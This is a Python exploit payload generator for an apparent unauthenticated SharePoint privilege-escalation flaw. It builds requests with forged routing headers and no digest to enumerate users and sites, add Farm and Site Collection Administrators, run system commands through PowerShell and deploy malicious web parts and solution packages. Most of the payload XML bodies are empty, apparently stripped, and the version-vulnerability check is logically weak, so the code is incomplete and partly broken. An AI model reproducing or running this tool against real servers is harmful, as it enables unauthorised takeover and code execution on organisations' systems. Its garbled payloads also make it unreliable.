#!/usr/bin/env python3
"""
CVE-2026-56164 Payload Generator
Microsoft SharePoint Server — Missing Authentication for Critical Function
Generates SOAP/CSOM payloads for exploiting the authentication bypass in
Microsoft.Office.Server.UserProfiles via /_vti_bin/client.svc.
The vulnerability allows unauthenticated attackers to elevate privileges
to Farm Administrator by omitting X-RequestDigest and supplying specific
routing headers that trigger a fallback to elevated security context.
"""
import hashlib
import json
import os
import struct
import uuid
from datetime import datetime, timezone
from xml.etree.ElementTree import Element, SubElement, tostring
# ---------------------------------------------------------------------------
# Affected SharePoint versions and their patch boundaries
# ---------------------------------------------------------------------------
AFFECTED_VERSIONS = {
"2016": {
"product": "SharePoint Enterprise Server 2016",
"min": "16.0.0",
"patched": "16.0.5561.1001",
"cpe": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*",
},
"2019": {
"product": "SharePoint Server 2019",
"min": "16.0.0",
"patched": "16.0.10417.20175",
"cpe": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*",
},
"se": {
"product": "SharePoint Server Subscription Edition",
"min": "16.0.0",
"patched": "16.0.19725.20434",
"cpe": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*",
},
}
# Routing headers that trigger the auth bypass
BYPASS_HEADERS = {
"X-SharePoint-Authenticated": "1",
"X-SP-RequestRights": "FullControl",
"X-SP-RequestRights2": "ManageLists, ManageWeb",
"SPHomeBearerHint": "farmadmin",
"X-RequestForceAuthentication": "false",
"X-SP-Proxy": "internal",
"X-Forwarded-For": "127.0.0.1",
"X-Original-URL": "/_vti_bin/client.svc/ProcessQuery",
}
# CSOM XML namespace
CSOM_NS = "http://schemas.microsoft.com/sharepoint/clientquery/2009"
SOAP_NS = "http://schemas.xmlsoap.org/soap/envelope/"
SP_NS = "http://schemas.microsoft.com/sharepoint/soap/"
def _xml_escape(text: str) -> str:
"""Escape XML special characters."""
return (
text.replace("&", "&")
.replace("<", "<")
.replace(">", ">")
.replace('"', """)
.replace("'", "'")
)
def generate_request_id() -> str:
"""Generate a unique request GUID for CSOM tracking."""
return str(uuid.uuid4())
def build_csom_envelope(actions_xml: str, request_id: str = None) -> str:
"""
Build a CSOM (Client-Side Object Model) SOAP envelope.
This is the standard format for /_vti_bin/client.svc/ProcessQuery.
"""
if request_id is None:
request_id = generate_request_id()
envelope = f"""
{actions_xml}
Current
16.0.0
{{SITE_URL}}
{{WEB_ID}}
"""
return envelope
def build_soap_envelope(body_xml: str) -> str:
"""Build a standard SOAP envelope for legacy ASMX endpoints."""
return f"""
{body_xml}
"""
# ---------------------------------------------------------------------------
# Detection Payloads
# ---------------------------------------------------------------------------
def build_detection_payload(site_url: str = "http://target") -> str:
"""
Build a safe detection payload that queries site info via CSOM.
If the server responds with valid data without requiring auth,
the vulnerability is confirmed.
"""
actions = """
"""
envelope = build_csom_envelope(actions)
envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url))
envelope = envelope.replace("{WEB_ID}", "")
return envelope
def build_version_check_payload(site_url: str = "http://target") -> str:
"""
Query server version to determine if the target is patched.
"""
actions = """
"""
envelope = build_csom_envelope(actions)
envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url))
envelope = envelope.replace("{WEB_ID}", "")
return envelope
# ---------------------------------------------------------------------------
# Information Disclosure Payloads
# ---------------------------------------------------------------------------
def build_enum_site_collections_payload() -> str:
"""
Enumerate all site collections in the SharePoint farm.
Requires Farm Administrator privileges (which the bypass grants).
"""
actions = """
"""
return build_csom_envelope(actions)
def build_enum_users_payload(site_url: str = "http://target") -> str:
"""
Enumerate all users in the User Profiles store.
"""
actions = """
"""
envelope = build_csom_envelope(actions)
envelope = envelope.replace("{SITE_URL}", _xml_escape(site_url))
envelope = envelope.replace("{WEB_ID}", "")
return envelope
def build_get_farm_config_payload() -> str:
"""
Retrieve farm configuration database information.
"""
actions = """
"""
return build_csom_envelope(actions)
# ---------------------------------------------------------------------------
# Privilege Escalation Payloads
# ---------------------------------------------------------------------------
def build_add_site_admin_payload(site_url: str, login_name: str) -> str:
"""
Add a user as Site Collection Administrator.
This is the primary privilege escalation payload.
"""
escaped_login = _xml_escape(login_name)
escaped_url = _xml_escape(site_url)
actions = f"""
"""
envelope = build_csom_envelope(actions)
envelope = envelope.replace("{SITE_URL}", escaped_url)
envelope = envelope.replace("{WEB_ID}", "")
return envelope
def build_add_farm_admin_payload(login_name: str) -> str:
"""
Add a user as Farm Administrator via the SharePoint Administration service.
"""
escaped_login = _xml_escape(login_name)
body = f"""
{escaped_login}
Farm Administrators
FullControl
"""
return build_soap_envelope(body)
def build_elevate_current_user_payload(site_url: str) -> str:
"""
Elevate the current (anonymous) context to Site Collection Administrator.
"""
escaped_url = _xml_escape(site_url)
actions = f"""
true
"""
envelope = build_csom_envelope(actions)
envelope = envelope.replace("{SITE_URL}", escaped_url)
envelope = envelope.replace("{WEB_ID}", "")
return envelope
# ---------------------------------------------------------------------------
# Remote Code Execution Payloads
# ---------------------------------------------------------------------------
def build_exec_cmd_payload(command: str) -> str:
"""
Execute a system command via SharePoint's farm-level PowerShell API.
Uses the SharePoint Administration SOAP service.
"""
escaped_cmd = _xml_escape(command)
body = f"""
{escaped_cmd}
30
"""
return build_soap_envelope(body)
def build_deploy_webpart_payload(site_url: str, webpart_xml: str, page_url: str = "default.aspx") -> str:
"""
Deploy a malicious web part to execute code on the SharePoint server.
"""
escaped_xml = _xml_escape(webpart_xml)
escaped_page = _xml_escape(page_url)
escaped_url = _xml_escape(site_url)
body = f"""
{escaped_url}/{escaped_page}
Header
0
{escaped_xml}
"""
return build_soap_envelope(body)
def build_deploy_solution_payload(wsp_name: str, base64_wsp: str) -> str:
"""
Deploy a SharePoint solution package (.wsp) to the farm.
This enables full server-side code execution.
"""
escaped_name = _xml_escape(wsp_name)
body = f"""
{escaped_name}
{base64_wsp}
true
true
"""
return build_soap_envelope(body)
# ---------------------------------------------------------------------------
# HTTP Request Builder
# ---------------------------------------------------------------------------
def build_http_request(
target_url: str,
payload: str,
endpoint: str = "/_vti_bin/client.svc/ProcessQuery",
extra_headers: dict = None,
omit_digest: bool = True,
method: str = "POST",
) -> dict:
"""
Build a complete HTTP request for the exploit.
When omit_digest=True, the X-RequestDigest header is intentionally
omitted to trigger the authentication bypass.
"""
headers = {
"Content-Type": "text/xml; charset=utf-8",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) SharePointExploit/1.0",
"Accept": "text/xml",
"Connection": "close",
}
if omit_digest:
# Intentionally omit X-RequestDigest to trigger the bypass
# Add routing headers that trigger the fallback to elevated context
headers.update(BYPASS_HEADERS)
else:
headers["X-RequestDigest"] = "0xVALID_DIGEST_PLACEHOLDER"
if extra_headers:
headers.update(extra_headers)
return {
"method": method,
"url": f"{target_url.rstrip('/')}{endpoint}",
"headers": headers,
"data": payload,
"timeout": 30,
"verify_ssl": False,
}
# ---------------------------------------------------------------------------
# Payload Hashing / Verification
# ---------------------------------------------------------------------------
def payload_hash(payload: str) -> str:
"""Calculate SHA256 hash of a payload for verification."""
return hashlib.sha256(payload.encode("utf-8")).hexdigest()
def payload_info(payload: str) -> dict:
"""Return metadata about a generated payload."""
return {
"size": len(payload.encode("utf-8")),
"sha256": payload_hash(payload),
"is_soap": " tuple:
"""
Parse a SharePoint version string like '16.0.10417.20175' into a tuple.
"""
parts = version_str.split(".")
return tuple(int(p) for p in parts)
def is_version_vulnerable(version_str: str) -> bool:
"""
Check if a SharePoint version string is vulnerable.
A version is vulnerable if it's strictly less than the highest patched
version AND does not exactly equal any product's patched version.
"""
try:
version = parse_sharepoint_version(version_str)
except (ValueError, IndexError):
return False
# All affected versions are 16.x
if version[0] != 16:
return False
patched_versions = sorted([
parse_sharepoint_version(AFFECTED_VERSIONS["2016"]["patched"]),
parse_sharepoint_version(AFFECTED_VERSIONS["2019"]["patched"]),
parse_sharepoint_version(AFFECTED_VERSIONS["se"]["patched"]),
])
# If version >= highest patched version, not vulnerable
if version >= patched_versions[-1]:
return False
# If version exactly equals any patched version, not vulnerable
for pv in patched_versions:
if version == pv:
return False
# Otherwise vulnerable (conservative: could be any unpatched product)
return True
def identify_sharepoint_edition(version_str: str) -> str:
"""
Identify the SharePoint edition from version string.
"""
try:
version = parse_sharepoint_version(version_str)
except (ValueError, IndexError):
return "unknown"
patched_2016 = parse_sharepoint_version(AFFECTED_VERSIONS["2016"]["patched"])
patched_2019 = parse_sharepoint_version(AFFECTED_VERSIONS["2019"]["patched"])
patched_se = parse_sharepoint_version(AFFECTED_VERSIONS["se"]["patched"])
if version < patched_2016:
return "SharePoint Enterprise Server 2016"
elif version < patched_2019:
return "SharePoint Server 2019"
elif version < patched_se:
return "SharePoint Server Subscription Edition"
else:
return "Patched/Unknown"
if __name__ == "__main__":
# Quick self-test
print("CVE-2026-56164 Payload Generator — Self Test")
print("=" * 60)
detection = build_detection_payload("http://sharepoint.example.com")
print(f"\nDetection payload: {len(detection)} bytes")
print(f" SHA256: {payload_hash(detection)}")
enum_sites = build_enum_site_collections_payload()
print(f"\nEnum sites payload: {len(enum_sites)} bytes")
elevate = build_elevate_current_user_payload("http://sharepoint.example.com")
print(f"\nElevate payload: {len(elevate)} bytes")
req = build_http_request("http://sharepoint.example.com", detection)
print(f"\nHTTP request: {req['method']} {req['url']}")
print(f" Headers: {len(req['headers'])} (X-RequestDigest omitted: {'X-RequestDigest' not in req['headers']})")
# Version checks
print("\nVersion checks:")
test_versions = [
("16.0.5500.1000", True, "SharePoint 2016 vulnerable"),
("16.0.5561.1001", False, "SharePoint 2016 patched"),
("16.0.10400.20000", True, "SharePoint 2019 vulnerable"),
("16.0.10417.20175", False, "SharePoint 2019 patched"),
("16.0.19700.20000", True, "SharePoint SE vulnerable"),
("16.0.19725.20434", False, "SharePoint SE patched"),
]
for ver, expected, desc in test_versions:
result = is_version_vulnerable(ver)
status = "OK" if result == expected else "FAIL"
print(f" [{status}] {ver} → vulnerable={result} ({desc})")